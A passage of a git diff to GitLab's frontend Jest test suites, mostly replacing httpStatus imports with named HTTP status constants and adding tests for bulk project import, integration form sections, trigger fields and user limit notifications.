+ }),
+ expect.objectContaining({
targetNamespace: AVAILABLE_NAMESPACES[0].fullPath,
newName: NEW_GROUPS[1].lastImportTarget.newName,
sourceGroupId: NEW_GROUPS[1].id,
- },
+ }),
],
},
});
@@ -610,4 +620,83 @@ describe('import table', () => {
expect(wrapper.findComponent(GlAlert).exists()).toBe(false);
});
});
+
+ describe('when import projects is enabled', () => {
+ const NEW_GROUPS = [
+ generateFakeEntry({ id: 1, status: STATUSES.NONE }),
+ generateFakeEntry({ id: 2, status: STATUSES.NONE }),
+ generateFakeEntry({ id: 3, status: STATUSES.FINISHED }),
+ ];
+
+ beforeEach(() => {
+ createComponent({
+ bulkImportSourceGroups: () => ({
+ nodes: NEW_GROUPS,
+ pageInfo: FAKE_PAGE_INFO,
+ versionValidation: FAKE_VERSION_VALIDATION,
+ }),
+ glFeatures: {
+ bulkImportProjects: true,
+ },
+ });
+ jest.spyOn(apolloProvider.defaultClient, 'mutate');
+ return waitForPromises();
+ });
+
+ it('renders import all dropdown', async () => {
+ expect(findImportSelectedDropdown().exists()).toBe(true);
+ });
+
+ it('includes migrateProjects: true when dropdown is clicked', async () => {
+ await selectRow(0);
+ await selectRow(1);
+ await nextTick();
+ await findImportSelectedDropdown().find('button').trigger('click');
+ expect(apolloProvider.defaultClient.mutate).toHaveBeenCalledWith({
+ mutation: importGroupsMutation,
+ variables: {
+ importRequests: [
+ expect.objectContaining({
+ targetNamespace: AVAILABLE_NAMESPACES[0].fullPath,
+ newName: NEW_GROUPS[0].lastImportTarget.newName,
+ sourceGroupId: NEW_GROUPS[0].id,
+ migrateProjects: true,
+ }),
+ expect.objectContaining({
+ targetNamespace: AVAILABLE_NAMESPACES[0].fullPath,
+ newName: NEW_GROUPS[1].lastImportTarget.newName,
+ sourceGroupId: NEW_GROUPS[1].id,
+ migrateProjects: true,
+ }),
+ ],
+ },
+ });
+ });
+
+ it('includes migrateProjects: false when dropdown item is clicked', async () => {
+ await selectRow(0);
+ await selectRow(1);
+ await nextTick();
+ await findImportSelectedDropdown().find('.gl-dropdown-item button').trigger('click');
+ expect(apolloProvider.defaultClient.mutate).toHaveBeenCalledWith({
+ mutation: importGroupsMutation,
+ variables: {
+ importRequests: [
+ expect.objectContaining({
+ targetNamespace: AVAILABLE_NAMESPACES[0].fullPath,
+ newName: NEW_GROUPS[0].lastImportTarget.newName,
+ sourceGroupId: NEW_GROUPS[0].id,
+ migrateProjects: false,
+ }),
+ expect.objectContaining({
+ targetNamespace: AVAILABLE_NAMESPACES[0].fullPath,
+ newName: NEW_GROUPS[1].lastImportTarget.newName,
+ sourceGroupId: NEW_GROUPS[1].id,
+ migrateProjects: false,
+ }),
+ ],
+ },
+ });
+ });
+ });
});
diff --git a/spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js b/spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js
index adc4ebcffb8..ce111a0c10c 100644
--- a/spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js
+++ b/spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js
@@ -13,7 +13,7 @@ import updateImportStatusMutation from '~/import_entities/import_groups/graphql/
import bulkImportSourceGroupsQuery from '~/import_entities/import_groups/graphql/queries/bulk_import_source_groups.query.graphql';
import axios from '~/lib/utils/axios_utils';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
import { statusEndpointFixture } from './fixtures';
jest.mock('~/flash');
@@ -52,7 +52,7 @@ describe('Bulk import resolvers', () => {
axiosMockAdapter = new MockAdapter(axios);
client = createClient();
- axiosMockAdapter.onGet(FAKE_ENDPOINTS.status).reply(httpStatus.OK, statusEndpointFixture);
+ axiosMockAdapter.onGet(FAKE_ENDPOINTS.status).reply(HTTP_STATUS_OK, statusEndpointFixture);
client.watchQuery({ query: bulkImportSourceGroupsQuery }).subscribe(({ data }) => {
results = data.bulkImportSourceGroups.nodes;
});
@@ -143,7 +143,7 @@ describe('Bulk import resolvers', () => {
it('sets import status to CREATED for successful groups when request completes', async () => {
axiosMockAdapter
.onPost(FAKE_ENDPOINTS.createBulkImport)
- .reply(httpStatus.OK, [{ success: true, id: 1 }]);
+ .reply(HTTP_STATUS_OK, [{ success: true, id: 1 }]);
await client.mutate({
mutation: importGroupsMutation,
@@ -163,7 +163,7 @@ describe('Bulk import resolvers', () => {
});
it('sets import status to CREATED for successful groups when request completes with legacy response', async () => {
- axiosMockAdapter.onPost(FAKE_ENDPOINTS.createBulkImport).reply(httpStatus.OK, { id: 1 });
+ axiosMockAdapter.onPost(FAKE_ENDPOINTS.createBulkImport).reply(HTTP_STATUS_OK, { id: 1 });
await client.mutate({
mutation: importGroupsMutation,
@@ -186,7 +186,7 @@ describe('Bulk import resolvers', () => {
const FAKE_ERROR_MESSAGE = 'foo';
axiosMockAdapter
.onPost(FAKE_ENDPOINTS.createBulkImport)
- .reply(httpStatus.OK, [{ success: false, id: 1, message: FAKE_ERROR_MESSAGE }]);
+ .reply(HTTP_STATUS_OK, [{ success: false, id: 1, message: FAKE_ERROR_MESSAGE }]);
await client.mutate({
mutation: importGroupsMutation,
@@ -210,7 +210,7 @@ describe('Bulk import resolvers', () => {
it('updateImportStatus updates status', async () => {
axiosMockAdapter
.onPost(FAKE_ENDPOINTS.createBulkImport)
- .reply(httpStatus.OK, [{ success: true, id: 1 }]);
+ .reply(HTTP_STATUS_OK, [{ success: true, id: 1 }]);
const NEW_STATUS = 'dummy';
await client.mutate({
diff --git a/spec/frontend/incidents_settings/components/incidents_settings_service_spec.js b/spec/frontend/incidents_settings/components/incidents_settings_service_spec.js
index 08c407cc4b4..1d1b285c1b6 100644
--- a/spec/frontend/incidents_settings/components/incidents_settings_service_spec.js
+++ b/spec/frontend/incidents_settings/components/incidents_settings_service_spec.js
@@ -3,7 +3,7 @@ import { createAlert } from '~/flash';
import { ERROR_MSG } from '~/incidents_settings/constants';
import IncidentsSettingsService from '~/incidents_settings/incidents_settings_service';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_BAD_REQUEST, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import { refreshCurrentPage } from '~/lib/utils/url_utility';
jest.mock('~/flash');
@@ -26,7 +26,7 @@ describe('IncidentsSettingsService', () => {
describe('updateSettings', () => {
it('should refresh the page on successful update', () => {
- mock.onPatch().reply(httpStatusCodes.OK);
+ mock.onPatch().reply(HTTP_STATUS_OK);
return service.updateSettings({}).then(() => {
expect(refreshCurrentPage).toHaveBeenCalled();
@@ -34,7 +34,7 @@ describe('IncidentsSettingsService', () => {
});
it('should display a flash message on update error', () => {
- mock.onPatch().reply(httpStatusCodes.BAD_REQUEST);
+ mock.onPatch().reply(HTTP_STATUS_BAD_REQUEST);
return service.updateSettings({}).then(() => {
expect(createAlert).toHaveBeenCalledWith({
@@ -47,7 +47,7 @@ describe('IncidentsSettingsService', () => {
describe('resetWebhookUrl', () => {
it('should make a call for webhook update', () => {
jest.spyOn(axios, 'post');
- mock.onPost().reply(httpStatusCodes.OK);
+ mock.onPost().reply(HTTP_STATUS_OK);
return service.resetWebhookUrl().then(() => {
expect(axios.post).toHaveBeenCalledWith(webhookUpdateEndpoint);
diff --git a/spec/frontend/integrations/edit/components/integration_form_spec.js b/spec/frontend/integrations/edit/components/integration_form_spec.js
index 4b49e492880..383dfb36aa5 100644
--- a/spec/frontend/integrations/edit/components/integration_form_spec.js
+++ b/spec/frontend/integrations/edit/components/integration_form_spec.js
@@ -1,4 +1,4 @@
-import { GlAlert, GlBadge, GlForm } from '@gitlab/ui';
+import { GlAlert, GlForm } from '@gitlab/ui';
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
import { nextTick } from 'vue';
@@ -11,18 +11,16 @@ import DynamicField from '~/integrations/edit/components/dynamic_field.vue';
import IntegrationForm from '~/integrations/edit/components/integration_form.vue';
import OverrideDropdown from '~/integrations/edit/components/override_dropdown.vue';
import TriggerFields from '~/integrations/edit/components/trigger_fields.vue';
-import IntegrationSectionConnection from '~/integrations/edit/components/sections/connection.vue';
import IntegrationFormActions from '~/integrations/edit/components/integration_form_actions.vue';
+import IntegrationFormSection from '~/integrations/edit/components/integration_forms/section.vue';
import {
I18N_SUCCESSFUL_CONNECTION_MESSAGE,
I18N_DEFAULT_ERROR_MESSAGE,
INTEGRATION_FORM_TYPE_SLACK,
- billingPlans,
- billingPlanNames,
} from '~/integrations/constants';
import { createStore } from '~/integrations/edit/store';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_INTERNAL_SERVER_ERROR, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import { refreshCurrentPage } from '~/lib/utils/url_utility';
import {
mockIntegrationProps,
@@ -73,15 +71,11 @@ describe('IntegrationForm', () => {
const findActiveCheckbox = () => wrapper.findComponent(ActiveCheckbox);
const findTriggerFields = () => wrapper.findComponent(TriggerFields);
const findAlert = () => wrapper.findComponent(GlAlert);
- const findGlBadge = () => wrapper.findComponent(GlBadge);
const findGlForm = () => wrapper.findComponent(GlForm);
const findRedirectToField = () => wrapper.findByTestId('redirect-to-field');
const findDynamicField = () => wrapper.findComponent(DynamicField);
const findAllDynamicFields = () => wrapper.findAllComponents(DynamicField);
- const findAllSections = () => wrapper.findAllByTestId('integration-section');
- const findConnectionSection = () => findAllSections().at(0);
- const findConnectionSectionComponent = () =>
- findConnectionSection().findComponent(IntegrationSectionConnection);
+ const findAllSections = () => wrapper.findAllComponents(IntegrationFormSection);
const findHelpHtml = () => wrapper.findByTestId('help-html');
const findFormActions = () => wrapper.findComponent(IntegrationFormActions);
@@ -215,54 +209,13 @@ describe('IntegrationForm', () => {
beforeEach(() => {
createComponent({
customStateProps: {
- sections: [mockSectionConnection],
- },
- });
- });
-
- it('renders the expected number of sections', () => {
- expect(findAllSections().length).toBe(1);
- });
-
- it('renders title, description and the correct dynamic component', () => {
- const connectionSection = findConnectionSection();
-
- expect(connectionSection.find('h4').text()).toBe(mockSectionConnection.title);
- expect(connectionSection.find('p').text()).toBe(mockSectionConnection.description);
- expect(findGlBadge().exists()).toBe(false);
- expect(findConnectionSectionComponent().exists()).toBe(true);
- });
-
- it('renders GlBadge when `plan` is present', () => {
- createComponent({
- customStateProps: {
sections: [mockSectionConnection, mockSectionJiraIssues],
},
});
-
- expect(findGlBadge().exists()).toBe(true);
- expect(findGlBadge().text()).toMatchInterpolatedText(billingPlanNames[billingPlans.PREMIUM]);
});
- it('passes only fields with section type', () => {
- const sectionFields = [
- { name: 'username', type: 'text', section: mockSectionConnection.type },
- { name: 'API token', type: 'password', section: mockSectionConnection.type },
- ];
-
- const nonSectionFields = [
- { name: 'branch', type: 'text' },
- { name: 'labels', type: 'select' },
- ];
-
- createComponent({
- customStateProps: {
- sections: [mockSectionConnection],
- fields: [...sectionFields, ...nonSectionFields],
- },
- });
-
- expect(findConnectionSectionComponent().props('fields')).toEqual(sectionFields);
+ it('renders the expected number of sections', () => {
+ expect(findAllSections()).toHaveLength(2);
});
describe.each`
@@ -281,7 +234,8 @@ describe('IntegrationForm', () => {
},
});
- findConnectionSectionComponent().vm.$emit('toggle-integration-active', formActive);
+ const section = findAllSections().at(0);
+ section.vm.$emit('toggle-integration-active', formActive);
});
it(`sets noValidate to ${novalidate}`, () => {
@@ -290,7 +244,7 @@ describe('IntegrationForm', () => {
},
);
- describe('when IntegrationSectionConnection emits `request-jira-issue-types` event', () => {
+ describe('when section emits `request-jira-issue-types` event', () => {
beforeEach(() => {
jest.spyOn(document, 'querySelector').mockReturnValue(document.createElement('form'));
@@ -302,7 +256,8 @@ describe('IntegrationForm', () => {
mountFn: mountExtended,
});
- findConnectionSectionComponent().vm.$emit('request-jira-issue-types');
+ const section = findAllSections().at(0);
+ section.vm.$emit('request-jira-issue-types');
});
it('dispatches `requestJiraIssueTypes` action', () => {
@@ -456,11 +411,11 @@ describe('IntegrationForm', () => {
});
describe.each`
- scenario | replyStatus | errorMessage | serviceResponse | expectToast | expectSentry
- ${'when "test settings" request fails'} | ${httpStatus.INTERNAL_SERVER_ERROR} | ${undefined} | ${undefined} | ${I18N_DEFAULT_ERROR_MESSAGE} | ${true}
- ${'when "test settings" returns an error'} | ${httpStatus.OK} | ${'an error'} | ${undefined} | ${'an error'} | ${false}
- ${'when "test settings" returns an error with details'} | ${httpStatus.OK} | ${'an error.'} | ${'extra info'} | ${'an error. extra info'} | ${false}
- ${'when "test settings" succeeds'} | ${httpStatus.OK} | ${undefined} | ${undefined} | ${I18N_SUCCESSFUL_CONNECTION_MESSAGE} | ${false}
+ scenario | replyStatus | errorMessage | serviceResponse | expectToast | expectSentry
+ ${'when "test settings" request fails'} | ${HTTP_STATUS_INTERNAL_SERVER_ERROR} | ${undefined} | ${undefined} | ${I18N_DEFAULT_ERROR_MESSAGE} | ${true}
+ ${'when "test settings" returns an error'} | ${HTTP_STATUS_OK} | ${'an error'} | ${undefined} | ${'an error'} | ${false}
+ ${'when "test settings" returns an error with details'} | ${HTTP_STATUS_OK} | ${'an error.'} | ${'extra info'} | ${'an error. extra info'} | ${false}
+ ${'when "test settings" succeeds'} | ${HTTP_STATUS_OK} | ${undefined} | ${undefined} | ${I18N_SUCCESSFUL_CONNECTION_MESSAGE} | ${false}
`(
'$scenario',
({ replyStatus, errorMessage, serviceResponse, expectToast, expectSentry }) => {
@@ -491,7 +446,7 @@ describe('IntegrationForm', () => {
const mockResetPath = '/reset';
beforeEach(async () => {
- mockAxios.onPost(mockResetPath).replyOnce(httpStatus.INTERNAL_SERVER_ERROR);
+ mockAxios.onPost(mockResetPath).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
createComponent({
customStateProps: {
resetPath: mockResetPath,
@@ -526,7 +481,7 @@ describe('IntegrationForm', () => {
describe('when "reset settings" succeeds', () => {
beforeEach(async () => {
- mockAxios.onPost(mockResetPath).replyOnce(httpStatus.OK);
+ mockAxios.onPost(mockResetPath).replyOnce(HTTP_STATUS_OK);
createComponent({
customStateProps: {
resetPath: mockResetPath,
diff --git a/spec/frontend/integrations/edit/components/integration_forms/section_spec.js b/spec/frontend/integrations/edit/components/integration_forms/section_spec.js
new file mode 100644
index 00000000000..5f82941778e
--- /dev/null
+++ b/spec/frontend/integrations/edit/components/integration_forms/section_spec.js
@@ -0,0 +1,109 @@
+import { GlBadge } from '@gitlab/ui';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { billingPlans, billingPlanNames } from '~/integrations/constants';
+import DynamicField from '~/integrations/edit/components/dynamic_field.vue';
+import IntegrationFormSection from '~/integrations/edit/components/integration_forms/section.vue';
+import IntegrationSectionConnection from '~/integrations/edit/components/sections/connection.vue';
+import { createStore } from '~/integrations/edit/store';
+import {
+ mockIntegrationProps,
+ mockSectionConnection,
+ mockSectionJiraIssues,
+} from '../../mock_data';
+
+describe('Integration Form Section', () => {
+ let wrapper;
+
+ const defaultProps = {
+ section: mockSectionConnection,
+ isValidated: false,
+ };
+
+ const createComponent = ({
+ customStateProps = {},
+ props = {},
+ mountFn = shallowMountExtended,
+ } = {}) => {
+ const store = createStore({
+ customState: {
+ ...mockIntegrationProps,
+ ...customStateProps,
+ },
+ });
+
+ wrapper = mountFn(IntegrationFormSection, {
+ store,
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ stubs: {
+ IntegrationSectionConnection,
+ },
+ });
+ };
+
+ const findGlBadge = () => wrapper.findComponent(GlBadge);
+ const findFieldsComponent = () => wrapper.findComponent(IntegrationSectionConnection);
+ const findAllDynamicFields = () => wrapper.findAllComponents(DynamicField);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders title, description and the correct dynamic component', () => {
+ expect(wrapper.findByText(mockSectionConnection.title).exists()).toBe(true);
+ expect(wrapper.findByText(mockSectionConnection.description).exists()).toBe(true);
+ expect(findGlBadge().exists()).toBe(false);
+ });
+
+ it('renders GlBadge when `plan` is present', () => {
+ createComponent({
+ props: {
+ section: mockSectionJiraIssues,
+ },
+ });
+
+ expect(findGlBadge().exists()).toBe(true);
+ expect(findGlBadge().text()).toMatchInterpolatedText(billingPlanNames[billingPlans.PREMIUM]);
+ });
+
+ it('renders only fields for this section type', () => {
+ const sectionFields = [
+ { name: 'username', type: 'text', section: mockSectionConnection.type },
+ { name: 'API token', type: 'password', section: mockSectionConnection.type },
+ ];
+
+ const nonSectionFields = [{ name: 'branch', type: 'text' }];
+
+ createComponent({
+ customStateProps: {
+ fields: [...sectionFields, ...nonSectionFields],
+ },
+ });
+
+ expect(findAllDynamicFields()).toHaveLength(2);
+ sectionFields.forEach((field, index) => {
+ expect(findAllDynamicFields().at(index).props('name')).toBe(field.name);
+ });
+ });
+
+ describe('events proxy from the section', () => {
+ let section;
+ const dummyPayload = 'foo';
+
+ beforeEach(() => {
+ section = findFieldsComponent();
+ });
+
+ it('toggle-integration-active', () => {
+ section.vm.$emit('toggle-integration-active', dummyPayload);
+ expect(wrapper.emitted('toggle-integration-active')).toEqual([[dummyPayload]]);
+ });
+
+ it('request-jira-issue-types', () => {
+ section.vm.$emit('request-jira-issue-types', dummyPayload);
+ expect(wrapper.emitted('request-jira-issue-types')).toEqual([[dummyPayload]]);
+ });
+ });
+});
diff --git a/spec/frontend/integrations/edit/components/trigger_field_spec.js b/spec/frontend/integrations/edit/components/trigger_field_spec.js
index 6a68337813e..ed0b3324708 100644
--- a/spec/frontend/integrations/edit/components/trigger_field_spec.js
+++ b/spec/frontend/integrations/edit/components/trigger_field_spec.js
@@ -1,6 +1,6 @@
import { nextTick } from 'vue';
import { shallowMount } from '@vue/test-utils';
-import { GlFormCheckbox } from '@gitlab/ui';
+import { GlFormCheckbox, GlFormInput } from '@gitlab/ui';
import TriggerField from '~/integrations/edit/components/trigger_field.vue';
import { integrationTriggerEventTitles } from '~/integrations/constants';
@@ -10,7 +10,9 @@ describe('TriggerField', () => {
const defaultProps = {
event: { name: 'push_events' },
+ type: 'gitlab_slack_application',
};
+ const mockField = { name: 'push_channel' };
const createComponent = ({ props = {}, isInheriting = false } = {}) => {
wrapper = shallowMount(TriggerField, {
@@ -26,6 +28,7 @@ describe('TriggerField', () => {
});
const findGlFormCheckbox = () => wrapper.findComponent(GlFormCheckbox);
+ const findGlFormInput = () => wrapper.findComponent(GlFormInput);
const findHiddenInput = () => wrapper.find('input[type="hidden"]');
describe('template', () => {
@@ -55,6 +58,32 @@ describe('TriggerField', () => {
expect(findHiddenInput().attributes('value')).toBe('false');
});
+ it('renders hidden GlFormInput', () => {
+ createComponent({
+ props: {
+ event: { name: 'push_events', field: mockField },
+ },
+ });
+
+ expect(findGlFormInput().exists()).toBe(true);
+ expect(findGlFormInput().isVisible()).toBe(false);
+ });
+
+ describe('checkbox is selected', () => {
+ it('renders visible GlFormInput', async () => {
+ createComponent({
+ props: {
+ event: { name: 'push_events', field: mockField },
+ },
+ });
+
+ await findGlFormCheckbox().vm.$emit('input', true);
+
+ expect(findGlFormInput().exists()).toBe(true);
+ expect(findGlFormInput().isVisible()).toBe(true);
+ });
+ });
+
it('toggles value of hidden input on checkbox input', async () => {
createComponent({
props: { event: { name: 'push_events', value: true } },
diff --git a/spec/frontend/integrations/overrides/components/integration_overrides_spec.js b/spec/frontend/integrations/overrides/components/integration_overrides_spec.js
index fd60d7f817f..fdb728281b5 100644
--- a/spec/frontend/integrations/overrides/components/integration_overrides_spec.js
+++ b/spec/frontend/integrations/overrides/components/integration_overrides_spec.js
@@ -8,7 +8,7 @@ import IntegrationOverrides from '~/integrations/overrides/components/integratio
import IntegrationTabs from '~/integrations/overrides/components/integration_tabs.vue';
import axios from '~/lib/utils/axios_utils';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_INTERNAL_SERVER_ERROR, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import ProjectAvatar from '~/vue_shared/components/project_avatar.vue';
import UrlSync from '~/vue_shared/components/url_sync.vue';
@@ -39,7 +39,7 @@ describe('IntegrationOverrides', () => {
beforeEach(() => {
mockAxios = new MockAdapter(axios);
- mockAxios.onGet(defaultProps.overridesPath).reply(httpStatus.OK, mockOverrides, {
+ mockAxios.onGet(defaultProps.overridesPath).reply(HTTP_STATUS_OK, mockOverrides, {
'X-TOTAL': mockOverrides.length,
'X-PAGE': 1,
});
@@ -125,7 +125,7 @@ describe('IntegrationOverrides', () => {
describe('when request fails', () => {
beforeEach(async () => {
jest.spyOn(Sentry, 'captureException');
- mockAxios.onGet(defaultProps.overridesPath).reply(httpStatus.INTERNAL_SERVER_ERROR);
+ mockAxios.onGet(defaultProps.overridesPath).reply(HTTP_STATUS_INTERNAL_SERVER_ERROR);
createComponent();
await waitForPromises();
@@ -150,7 +150,7 @@ describe('IntegrationOverrides', () => {
describe('pagination', () => {
describe('when total items does not exceed the page limit', () => {
it('does not render', async () => {
- mockAxios.onGet(defaultProps.overridesPath).reply(httpStatus.OK, [mockOverrides[0]], {
+ mockAxios.onGet(defaultProps.overridesPath).reply(HTTP_STATUS_OK, [mockOverrides[0]], {
'X-TOTAL': DEFAULT_PER_PAGE - 1,
'X-PAGE': 1,
});
@@ -169,7 +169,7 @@ describe('IntegrationOverrides', () => {
beforeEach(async () => {
createComponent({ stubs: { UrlSync } });
- mockAxios.onGet(defaultProps.overridesPath).reply(httpStatus.OK, [mockOverrides[0]], {
+ mockAxios.onGet(defaultProps.overridesPath).reply(HTTP_STATUS_OK, [mockOverrides[0]], {
'X-TOTAL': DEFAULT_PER_PAGE * 2,
'X-PAGE': mockPage,
});
diff --git a/spec/frontend/invite_members/components/invite_members_modal_spec.js b/spec/frontend/invite_members/components/invite_members_modal_spec.js
index 22fcedb2eaf..b6b34e1063b 100644
--- a/spec/frontend/invite_members/components/invite_members_modal_spec.js
+++ b/spec/frontend/invite_members/components/invite_members_modal_spec.js
@@ -24,7 +24,11 @@ import {
import eventHub from '~/invite_members/event_hub';
import ContentTransition from '~/vue_shared/components/content_transition.vue';
import axios from '~/lib/utils/axios_utils';
-import httpStatus, { HTTP_STATUS_CREATED } from '~/lib/utils/http_status';
+import {
+ HTTP_STATUS_BAD_REQUEST,
+ HTTP_STATUS_CREATED,
+ HTTP_STATUS_INTERNAL_SERVER_ERROR,
+} from '~/lib/utils/http_status';
import { getParameterValues } from '~/lib/utils/url_utility';
import {
displaySuccessfulInvitationAlert,
@@ -361,7 +365,7 @@ describe('InviteMembersModal', () => {
describe('rendering the user limit notification', () => {
it('shows the user limit notification alert when reached limit', () => {
- const usersLimitDataset = { reachedLimit: true };
+ const usersLimitDataset = { alertVariant: 'reached' };
createInviteMembersToProjectWrapper(usersLimitDataset);
@@ -369,7 +373,15 @@ describe('InviteMembersModal', () => {
});
it('shows the user limit notification alert when close to dashboard limit', () => {
- const usersLimitDataset = { closeToDashboardLimit: true };
+ const usersLimitDataset = { alertVariant: 'close' };
+
+ createInviteMembersToProjectWrapper(usersLimitDataset);
+
+ expect(findUserLimitAlert().exists()).toBe(true);
+ });
+
+ it('shows the user limit notification alert when :preview_free_user_cap is enabled', () => {
+ const usersLimitDataset = { alertVariant: 'notification' };
createInviteMembersToProjectWrapper(usersLimitDataset);
@@ -549,7 +561,7 @@ describe('InviteMembersModal', () => {
it('displays the generic error for http server error', async () => {
mockInvitationsApi(
- httpStatus.INTERNAL_SERVER_ERROR,
+ HTTP_STATUS_INTERNAL_SERVER_ERROR,
'Request failed with status code 500',
);
@@ -648,7 +660,7 @@ describe('InviteMembersModal', () => {
});
it('displays the api error for invalid email syntax', async () => {
- mockInvitationsApi(httpStatus.BAD_REQUEST, invitationsApiResponse.EMAIL_INVALID);
+ mockInvitationsApi(HTTP_STATUS_BAD_REQUEST, invitationsApiResponse.EMAIL_INVALID);
clickInviteButton();
@@ -660,7 +672,7 @@ describe('InviteMembersModal', () => {
});
it('clears the error when the modal is hidden', async () => {
- mockInvitationsApi(httpStatus.BAD_REQUEST, invitationsApiResponse.EMAIL_INVALID);
+ mockInvitationsApi(HTTP_STATUS_BAD_REQUEST, invitationsApiResponse.EMAIL_INVALID);
clickInviteButton();
@@ -715,7 +727,7 @@ describe('InviteMembersModal', () => {
});
it('displays the invalid syntax error for bad request', async () => {
- mockInvitationsApi(httpStatus.BAD_REQUEST, invitationsApiResponse.ERROR_EMAIL_INVALID);
+ mockInvitationsApi(HTTP_STATUS_BAD_REQUEST, invitationsApiResponse.ERROR_EMAIL_INVALID);
clickInviteButton();
@@ -739,7 +751,7 @@ describe('InviteMembersModal', () => {
createInviteMembersToGroupWrapper();
await triggerMembersTokenSelect([user3, user4]);
- mockInvitationsApi(httpStatus.BAD_REQUEST, invitationsApiResponse.ERROR_EMAIL_INVALID);
+ mockInvitationsApi(HTTP_STATUS_BAD_REQUEST, invitationsApiResponse.ERROR_EMAIL_INVALID);
clickInviteButton();
diff --git a/spec/frontend/invite_members/components/user_limit_notification_spec.js b/spec/frontend/invite_members/components/user_limit_notification_spec.js
index 2a780490468..490b2e8bc7c 100644
--- a/spec/frontend/invite_members/components/user_limit_notification_spec.js
+++ b/spec/frontend/invite_members/components/user_limit_notification_spec.js
@@ -1,9 +1,14 @@
import { GlAlert, GlSprintf } from '@gitlab/ui';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import UserLimitNotification from '~/invite_members/components/user_limit_notification.vue';
-import { REACHED_LIMIT_VARIANT, CLOSE_TO_LIMIT_VARIANT } from '~/invite_members/constants';
+import {
+ NOTIFICATION_LIMIT_VARIANT,
+ REACHED_LIMIT_VARIANT,
+ CLOSE_TO_LIMIT_VARIANT,
+} from '~/invite_members/constants';
import { freeUsersLimit, remainingSeats } from '../mock_data/member_modal';
+const INFO_ALERT_TITLE = 'Your top-level group name is over the 5 user limit.';
const WARNING_ALERT_TITLE = 'You only have space for 2 more members in name';
describe('UserLimitNotification', () => {
@@ -31,6 +36,17 @@ describe('UserLimitNotification', () => {
});
};
+ describe('when previewing free user cap', () => {
+ it("renders user's preview limit notification", () => {
+ createComponent(NOTIFICATION_LIMIT_VARIANT);
+
+ const alert = findAlert();
+
+ expect(alert.attributes('title')).toEqual(INFO_ALERT_TITLE);
+ expect(alert.text()).toContain('GitLab will enforce this limit in the future.');
+ });
+ });
+
describe('when close to limit within a group', () => {
it("renders user's limit notification", () => {
createComponent(CLOSE_TO_LIMIT_VARIANT);
@@ -51,7 +67,7 @@ describe('UserLimitNotification', () => {
expect(alert.attributes('title')).toEqual("You've reached your 5 members limit for name");
expect(alert.text()).toContain(
- 'To invite new users to this namespace, you must remove existing users.',
+ 'To invite new users to this top-level group, you must remove existing users.',
);
});
});
diff --git a/spec/frontend/issuable/components/issuable_by_email_spec.js b/spec/frontend/issuable/components/issuable_by_email_spec.js
index 01abf239e57..b04a6c0b8fd 100644
--- a/spec/frontend/issuable/components/issuable_by_email_spec.js
+++ b/spec/frontend/issuable/components/issuable_by_email_spec.js
@@ -5,7 +5,7 @@ import MockAdapter from 'axios-mock-adapter';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import IssuableByEmail from '~/issuable/components/issuable_by_email.vue';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_NOT_FOUND, HTTP_STATUS_OK } from '~/lib/utils/http_status';
const initialEmail = 'user@gitlab.com';
@@ -130,7 +130,7 @@ describe('IssuableByEmail', () => {
});
it('should update the email when the request succeeds', async () => {
- mockAxios.onPut(resetPath).reply(httpStatus.OK, { new_address: 'foo@bar.com' });
+ mockAxios.onPut(resetPath).reply(HTTP_STATUS_OK, { new_address: 'foo@bar.com' });
wrapper = createComponent({
issuableType: 'issue',
@@ -144,7 +144,7 @@ describe('IssuableByEmail', () => {
});
it('should show a toast message when the request fails', async () => {
- mockAxios.onPut(resetPath).reply(httpStatus.NOT_FOUND, {});
+ mockAxios.onPut(resetPath).reply(HTTP_STATUS_NOT_FOUND, {});
wrapper = createComponent({
issuableType: 'issue',
diff --git a/spec/frontend/issuable/components/issuable_header_warnings_spec.js b/spec/frontend/issuable/components/issuable_header_warnings_spec.js
index e3a36dc8820..99aa6778e1e 100644
--- a/spec/frontend/issuable/components/issuable_header_warnings_spec.js
+++ b/spec/frontend/issuable/components/issuable_header_warnings_spec.js
@@ -7,7 +7,7 @@ import createIssueStore from '~/notes/stores';
import IssuableHeaderWarnings from '~/issuable/components/issuable_header_warnings.vue';
const ISSUABLE_TYPE_ISSUE = 'issue';
-const ISSUABLE_TYPE_MR = 'merge request';
+const ISSUABLE_TYPE_MR = 'merge_request';
Vue.use(Vuex);
@@ -57,6 +57,7 @@ describe('IssuableHeaderWarnings', () => {
beforeEach(() => {
store.getters.getNoteableData.confidential = confidentialStatus;
store.getters.getNoteableData.discussion_locked = lockStatus;
+ store.getters.getNoteableData.targetType = issuableType;
createComponent({ store, provide: { hidden: hiddenStatus } });
});
@@ -84,7 +85,7 @@ describe('IssuableHeaderWarnings', () => {
if (hiddenStatus) {
expect(hiddenIcon.attributes('title')).toBe(
- 'This issue is hidden because its author has been banned',
+ `This ${issuableType.replace('_', ' ')} is hidden because its author has been banned`,
);
expect(getBinding(hiddenIcon.element, 'gl-tooltip')).not.toBeUndefined();
}
diff --git a/spec/frontend/issuable/issuable_form_spec.js b/spec/frontend/issuable/issuable_form_spec.js
index 5e67ea42b87..28ec0e22d8b 100644
--- a/spec/frontend/issuable/issuable_form_spec.js
+++ b/spec/frontend/issuable/issuable_form_spec.js
@@ -35,8 +35,8 @@ describe('IssuableForm', () => {
let $description;
beforeEach(() => {
- $title = $form.find('input[name*="[title]"]');
- $description = $form.find('textarea[name*="[description]"]');
+ $title = $form.find('input[name*="[title]"]').get(0);
+ $description = $form.find('textarea[name*="[description]"]').get(0);
});
